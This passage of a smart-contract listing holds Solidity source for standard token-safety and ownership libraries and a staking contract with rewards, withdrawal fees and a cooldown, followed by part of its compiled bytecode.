reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () internal { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } contract Owned { address public owner; address public nominatedOwner; constructor(address _owner) public { require(_owner != address(0), "Owner address cannot be 0"); owner = _owner; emit OwnerChanged(address(0), _owner); } function nominateNewOwner(address _owner) external onlyOwner { nominatedOwner = _owner; emit OwnerNominated(_owner); } function acceptOwnership() external { require(msg.sender == nominatedOwner, "You must be nominated before you can accept ownership"); emit OwnerChanged(owner, nominatedOwner); owner = nominatedOwner; nominatedOwner = address(0); } modifier onlyOwner { _onlyOwner(); _; } function _onlyOwner() private view { require(msg.sender == owner, "Only the contract owner may perform this action"); } event OwnerNominated(address newOwner); event OwnerChanged(address oldOwner, address newOwner); } // https://docs.synthetix.io/contracts/Pausable abstract contract Pausable is Owned { uint public lastPauseTime; bool public paused; constructor() internal { // This contract is abstract, and thus cannot be instantiated directly require(owner != address(0), "Owner must be set"); // Paused will be false, and lastPauseTime will be 0 upon initialisation } /** * @notice Change the paused state of the contract * @dev Only the contract owner may call this. */ function setPaused(bool _paused) external onlyOwner { // Ensure we're actually changing the state before we do anything if (_paused == paused) { return; } // Set our paused state. paused = _paused; // If applicable, set the last pause time. if (paused) { lastPauseTime = now; } // Let everyone know that our pause state has changed. emit PauseChanged(paused); } event PauseChanged(bool isPaused); modifier notPaused { require(!paused, "This action cannot be performed while the contract is paused"); _; } } // https://docs.synthetix.io/contracts/RewardsDistributionRecipient abstract contract RewardsDistributionRecipient is Owned { address public rewardsDistribution; function notifyRewardAmount(uint256 reward) external virtual; modifier onlyRewardsDistribution() { require(msg.sender == rewardsDistribution, "Caller is not RewardsDistribution contract"); _; } function setRewardsDistribution(address _rewardsDistribution) external onlyOwner { rewardsDistribution = _rewardsDistribution; } } interface IStakingRewards { // Views function lastTimeRewardApplicable() external view returns (uint256); function rewardPerToken() external view returns (uint256); function earned(address account) external view returns (uint256); function getRewardForDuration() external view returns (uint256); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); // Mutative function stake(uint256 amount) external; function withdraw(uint256 amount, bool payingCharges) external; function getReward() external; function exit() external; } contract LiquidityProvision is IStakingRewards, RewardsDistributionRecipient, ReentrancyGuard, Pausable { using SafeMath for uint256; using SafeERC20 for IERC20; /* ========== STATE VARIABLES ========== */ IERC20 public X22Token; IERC20 public stakingToken; address public wallet; uint256 public periodFinish = 0; uint256 public rewardRate = 0; uint256 public rewardsDuration = 30 days; uint256 public lastUpdateTime; uint256 public rewardPerTokenStored; uint256 public coolDownPeriod = 691200; uint256 public withdrawCharges = 7; uint256 public minimumWithdraw = 0; mapping(address => uint256) public userRewardPerTokenPaid; mapping(address => uint256) public rewards; mapping(address => uint256) public requestedTime; mapping(address => uint256) public requestedAmount; uint256 private _totalSupply; mapping(address => uint256) private _balances; /* ========== CONSTRUCTOR ========== */ constructor( address _owner, address _rewardsDistribution, address _wallet, address _X22Token, address _stakingToken ) public Owned(_owner) { X22Token = IERC20(_X22Token); stakingToken = IERC20(_stakingToken); rewardsDistribution = _rewardsDistribution; wallet = _wallet; } //Update the wallet function updateWallet(address _wallet) public onlyOwner { wallet = _wallet; } //Update withdraw charges function updateCharges(uint256 percentage) public onlyOwner { withdrawCharges = percentage; } //Update Cooldown period function updateCoolDownPeriod(uint256 NewPeriod) public onlyOwner { coolDownPeriod = NewPeriod.mul(86400); } /* ========== VIEWS ========== */ function totalSupply() external view override returns (uint256) { return _totalSupply; } function balanceOf(address account) external view override returns (uint256) { return _balances[account]; } function lastTimeRewardApplicable() public view override returns (uint256) { return Math.min(block.timestamp, periodFinish); } function rewardPerToken() public view override returns (uint256) { if (_totalSupply == 0) { return rewardPerTokenStored; } return rewardPerTokenStored.add( lastTimeRewardApplicable().sub(lastUpdateTime).mul(rewardRate).mul(1e18).div(_totalSupply) ); } function earned(address account) public view override returns (uint256) { return _balances[account].mul(rewardPerToken().sub(userRewardPerTokenPaid[account])).div(1e18).add(rewards[account]); } function getRewardForDuration() external view override returns (uint256) { return rewardRate.mul(rewardsDuration); } /* ========== MUTATIVE FUNCTIONS ========== */ function stake(uint256 amount) external override nonReentrant notPaused updateReward(msg.sender) { require(amount > 0, "Cannot stake 0"); _totalSupply = _totalSupply.add(amount); _balances[msg.sender] = _balances[msg.sender].add(amount); stakingToken.safeTransferFrom(msg.sender, address(this), amount); emit Staked(msg.sender, amount); } function withdraw(uint256 amount, bool payingCharges) public override nonReentrant updateReward(msg.sender) { require(amount > minimumWithdraw, "Cannot withdraw 0"); if(payingCharges == true){ _balances[msg.sender] = _balances[msg.sender].sub(amount); _totalSupply = _totalSupply.sub(amount); uint256 fee = amount.mul(withdrawCharges).div(100); stakingToken.safeTransfer(wallet, fee); amount = amount.sub(fee); stakingToken.safeTransfer(msg.sender, amount); emit Withdrawn(msg.sender, amount); } else{ if(requestedAmount[msg.sender] != amount){ requestedAmount[msg.sender] = amount; requestedTime[msg.sender] = block.timestamp; } } } function claim(bool payingCharges) public nonReentrant updateReward(msg.sender) { uint256 amount = requestedAmount[msg.sender]; if(payingCharges == true){ _balances[msg.sender] = _balances[msg.sender].sub(amount); _totalSupply = _totalSupply.sub(amount); uint256 fee = amount.mul(withdrawCharges).div(100); stakingToken.safeTransfer(wallet, fee); amount = amount.sub(fee); } else{ require(requestedTime[msg.sender].add(coolDownPeriod) <= block.timestamp, 'You can withdraw after 8 days of requesting otherwise pay charges first'); _balances[msg.sender] = _balances[msg.sender].sub(amount); _totalSupply = _totalSupply.sub(amount); } stakingToken.safeTransfer(msg.sender, amount); emit Withdrawn(msg.sender, amount); requestedTime[msg.sender] = 0; requestedAmount[msg.sender] = 0; } function cancelWithdraw() public { requestedAmount[msg.sender] = 0; requestedTime[msg.sender] = 0; } function getReward() public override nonReentrant updateReward(msg.sender) { uint256 reward = rewards[msg.sender]; if (reward > 0) { rewards[msg.sender] = 0; X22Token.safeTransfer(msg.sender, reward); emit RewardPaid(msg.sender, reward); } } function exit() external override { withdraw(_balances[msg.sender], true); getReward(); } /* ========== RESTRICTED FUNCTIONS ========== */ function notifyRewardAmount(uint256 reward) external override onlyRewardsDistribution updateReward(address(0)) { if (block.timestamp >= periodFinish) { rewardRate = reward.div(rewardsDuration); } else { uint256 remaining = periodFinish.sub(block.timestamp); uint256 leftover = remaining.mul(rewardRate); rewardRate = reward.add(leftover).div(rewardsDuration); } // Ensure the provided reward amount is not more than the balance in the contract. // This keeps the reward rate in the right range, preventing overflows due to // very high values of rewardRate in the earned and rewardsPerToken functions; // Reward + leftover must be less than 2^256 / 10^18 to avoid overflow. uint balance = X22Token.balanceOf(address(this)); require(rewardRate <= balance.div(rewardsDuration), "Provided reward too high"); lastUpdateTime = block.timestamp; periodFinish = block.timestamp.add(rewardsDuration); emit RewardAdded(reward); } // Added to support recovering LP Rewards from other systems to be distributed to holders function recoverERC20(address tokenAddress, uint256 tokenAmount) external onlyOwner { // Cannot recover the staking token or the rewards token require( tokenAddress != address(stakingToken) &&tokenAddress != address(X22Token), "Cannot withdraw the staking or rewards tokens" ); IERC20(tokenAddress).safeTransfer(owner, tokenAmount); emit Recovered(tokenAddress, tokenAmount); } function setRewardsDuration(uint256 _rewardsDuration) external onlyOwner { require( periodFinish == 0 || block.timestamp > periodFinish, "Previous rewards period must be complete before changing the duration for the new period" ); rewardsDuration = _rewardsDuration; emit RewardsDurationUpdated(rewardsDuration); } /* ========== MODIFIERS ========== */ modifier updateReward(address account) { rewardPerTokenStored = rewardPerToken(); lastUpdateTime = lastTimeRewardApplicable(); if (account != address(0)) { rewards[account] = earned(account); userRewardPerTokenPaid[account] = rewardPerTokenStored; } _; } /* ========== EVENTS ========== */ event RewardAdded(uint256 reward); event Staked(address indexed user, uint256 amount); event Withdrawn(address indexed user, uint256 amount); event RewardPaid(address indexed user, uint256 reward); event RewardsDurationUpdated(uint256 newDuration); event Recovered(address token, uint256 amount); }
0x608060405234801561001057600080fd5b506004361061025d5760003560e01c806372f702f31161014657806391b4ded9116100c3578063cc1a378f11610087578063cc1a378f14610952578063cd3daf9d14610980578063df136d651461099e578063e5cd7e10146109bc578063e9fad8ee146109ea578063ebe2b12b146109f45761025d565b806391b4ded91461085c5780639645eb141461087a578063a694fc3a146108d2578063c8f33c9114610900578063cbf6e8e61461091e5761025d565b806384afb9c41161010a57806384afb9c41461074a57806384b76824146107785780638980f11f146107825780638b876347146107d05780638da5cb5b146108285761025d565b806372f702f31461068c57806379ba5097146106c05780637b0a47ee146106ca57806380faa57d146106e8578063848b86e3146107065761025d565b8063386a9525116101df578063521eb273116101a3578063521eb2731461057057806353a47bb7146105a45780635c975abb146105d857806369c87817146105f857806370a08231146106165780637235b3fc1461066e5761025d565b8063386a9525146104ac57806338d07436146104ca5780633c6b16ab146105045780633d18b912146105325780633fc6df6e1461053c5761025d565b8063197621431161022657806319762143146103a45780631c1f78eb146103e85780632d81a78e146104065780632e16790e1461043657806330f1ebb91461048e5761025d565b80628cc262146102625780630700037d146102ba5780631627540c1461031257806316c38b3c1461035657806318160ddd14610386575b600080fd5b6102a46004803603602081101561027857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a12565b6040518082815260200191505060405180910390f35b6102fc600480360360208110156102d057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b30565b6040518082815260200191505060405180910390f35b6103546004803603602081101561032857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b48565b005b6103846004803603602081101561036c57600080fd5b81019080803515159060200190929190505050610be1565b005b61038e610c8c565b6040518082815260200191505060405180910390f35b6103e6600480360360208110156103ba57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c96565b005b6103f0610ce2565b6040518082815260200191505060405180910390f35b6104346004803603602081101561041c57600080fd5b81019080803515159060200190929190505050610d00565b005b6104786004803603602081101561044c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112ab565b6040518082815260200191505060405180910390f35b6104966112c3565b6040518082815260200191505060405180910390f35b6104b46112c9565b6040518082815260200191505060405180910390f35b610502600480360360408110156104e057600080fd5b81019080803590602001909291908035151590602001909291905050506112cf565b005b6105306004803603602081101561051a57600080fd5b8101908080359060200190929190505050611796565b005b61053a611b5e565b005b610544611dfd565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610578611e23565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105ac611e49565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105e0611e6f565b60405180821515815260200191505060405180910390f35b610600611e82565b6040518082815260200191505060405180910390f35b6106586004803603602081101561062c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611e88565b6040518082815260200191505060405180910390f35b610676611ed1565b6040518082815260200191505060405180910390f35b610694611ed7565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6106c8611efd565b005b6106d26120f6565b6040518082815260200191505060405180910390f35b6106f06120fc565b6040518082815260200191505060405180910390f35b6107486004803603602081101561071c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061210f565b005b6107766004803603602081101561076057600080fd5b810190808035906020019092919050505061215b565b005b61078061216d565b005b6107ce6004803603604081101561079857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506121f9565b005b610812600480360360208110156107e657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506123a6565b6040518082815260200191505060405180910390f35b6108306123be565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6108646123e2565b6040518082815260200191505060405180910390f35b6108bc6004803603602081101561089057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506123e8565b6040518082815260200191505060405180910390f35b6108fe600480360360208110156108e857600080fd5b8101908080359060200190929190505050612400565b005b61090861279a565b6040518082815260200191505060405180910390f35b6109266127a0565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61097e6004803603602081101561096857600080fd5b81019080803590602001909291905050506127c6565b005b610988612878565b6040518082815260200191505060405180910390f35b6109a6612906565b6040518082815260200191505060405180910390f35b6109e8600480360360208110156109d257600080fd5b810190808035906020019092919050505061290c565b005b6109f2612933565b005b6109fc612987565b6040518082815260200191505060405180910390f35b6000610b29601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b1b670de0b6b3a7640000610b0d610abf601060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ab1612878565b61298d90919063ffffffff16565b601560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a1090919063ffffffff16565b612a9690919063ffffffff16565b612b1f90919063ffffffff16565b9050919050565b60116020528060005260406000206000915090505481565b610b50612ba7565b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f906a1c6bd7e3091ea86693dd029a831c19049ce77f1dce2ce0bab1cacbabce2281604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b610be9612ba7565b600560009054906101000a900460ff1615158115151415610c0957610c89565b80600560006101000a81548160ff021916908315150217905550600560009054906101000a900460ff1615610c4057426004819055505b7f8fb6c181ee25a520cf3dd6565006ef91229fcfe5a989566c2a3b8c115570cec5600560009054906101000a900460ff1660405180821515815260200191505060405180910390a15b50565b6000601454905090565b610c9e612ba7565b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000610cfb600a54600954612a1090919063ffffffff16565b905090565b60026003541415610d79576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f5265656e7472616e637947756172643a207265656e7472616e742063616c6c0081525060200191505060405180910390fd5b600260038190555033610d8a612878565b600c81905550610d986120fc565b600b81905550600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614610e6557610ddb81610a12565b601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600c54601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000601360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905060011515831515141561101c57610f0881601560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461298d90919063ffffffff16565b601560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f608160145461298d90919063ffffffff16565b6014819055506000610f906064610f82600e5485612a1090919063ffffffff16565b612a9690919063ffffffff16565b9050611001600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16612c4d9092919063ffffffff16565b611014818361298d90919063ffffffff16565b915050611179565b42611071600d54601260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b1f90919063ffffffff16565b11156110c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260478152602001806133196047913960600191505060405180910390fd5b61111a81601560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461298d90919063ffffffff16565b601560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111728160145461298d90919063ffffffff16565b6014819055505b6111c63382600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16612c4d9092919063ffffffff16565b3373ffffffffffffffffffffffffffffffffffffffff167f7084f5476618d8e60b11ef0d7d3f06914655adb8793e28ff7f018d4c76d505d5826040518082815260200191505060405180910390a26000601260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000601360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050600160038190555050565b60126020528060005260406000206000915090505481565b600d5481565b600a5481565b60026003541415611348576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f5265656e7472616e637947756172643a207265656e7472616e742063616c6c0081525060200191505060405180910390fd5b600260038190555033611359612878565b600c819055506113676120fc565b600b81905550600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614611434576113aa81610a12565b601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600c54601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600f5483116114ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f43616e6e6f74207769746864726177203000000000000000000000000000000081525060200191505060405180910390fd5b6001151582151514156116b95761150a83601560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461298d90919063ffffffff16565b601560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506115628360145461298d90919063ffffffff16565b60148190555060006115926064611584600e5487612a1090919063ffffffff16565b612a9690919063ffffffff16565b9050611603600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16612c4d9092919063ffffffff16565b611616818561298d90919063ffffffff16565b93506116653385600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16612c4d9092919063ffffffff16565b3373ffffffffffffffffffffffffffffffffffffffff167f7084f5476618d8e60b11ef0d7d3f06914655adb8793e28ff7f018d4c76d505d5856040518082815260200191505060405180910390a250611789565b82601360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054146117885782601360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555042601260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b5060016003819055505050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461183c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a8152602001806132c5602a913960400191505060405180910390fd5b6000611846612878565b600c819055506118546120fc565b600b81905550600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16146119215761189781610a12565b601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600c54601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600854421061194a5761193f600a5483612a9690919063ffffffff16565b6009819055506119ac565b60006119614260085461298d90919063ffffffff16565b9050600061197a60095483612a1090919063ffffffff16565b90506119a3600a546119958387612b1f90919063ffffffff16565b612a9690919063ffffffff16565b60098190555050505b6000600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015611a3757600080fd5b505afa158015611a4b573d6000803e3d6000fd5b505050506040513d6020811015611a6157600080fd5b81019080805190602001909291905050509050611a89600a5482612a9690919063ffffffff16565b6009541115611b00576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f50726f76696465642072657761726420746f6f2068696768000000000000000081525060200191505060405180910390fd5b42600b81905550611b1c600a5442612b1f90919063ffffffff16565b6008819055507fde88a922e0d3b88b24e9623efeb464919c6bf9f66857a65e2bfcf2ce87a9433d836040518082815260200191505060405180910390a1505050565b60026003541415611bd7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f5265656e7472616e637947756172643a207265656e7472616e742063616c6c0081525060200191505060405180910390fd5b600260038190555033611be8612878565b600c81905550611bf66120fc565b600b81905550600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614611cc357611c3981610a12565b601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600c54601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000601160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000811115611df1576000601160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611da23382600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16612c4d9092919063ffffffff16565b3373ffffffffffffffffffffffffffffffffffffffff167fe2403640ba68fed3a2f88b7557551d1993f84b99bb10ff833f0cf8db0c5e0486826040518082815260200191505060405180910390a25b50506001600381905550565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600560009054906101000a900460ff1681565b600f5481565b6000601560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600e5481565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611fa3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260358152602001806131b16035913960400191505060405180910390fd5b7fb532073b38c83145e3e5135377a08bf9aab55bc0fd7c1179cd4fb995d2a5159c60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16604051808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390a1600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60095481565b600061210a42600854612cef565b905090565b612117612ba7565b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b612163612ba7565b80600e8190555050565b6000601360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000601260003373ffffffffffffffffff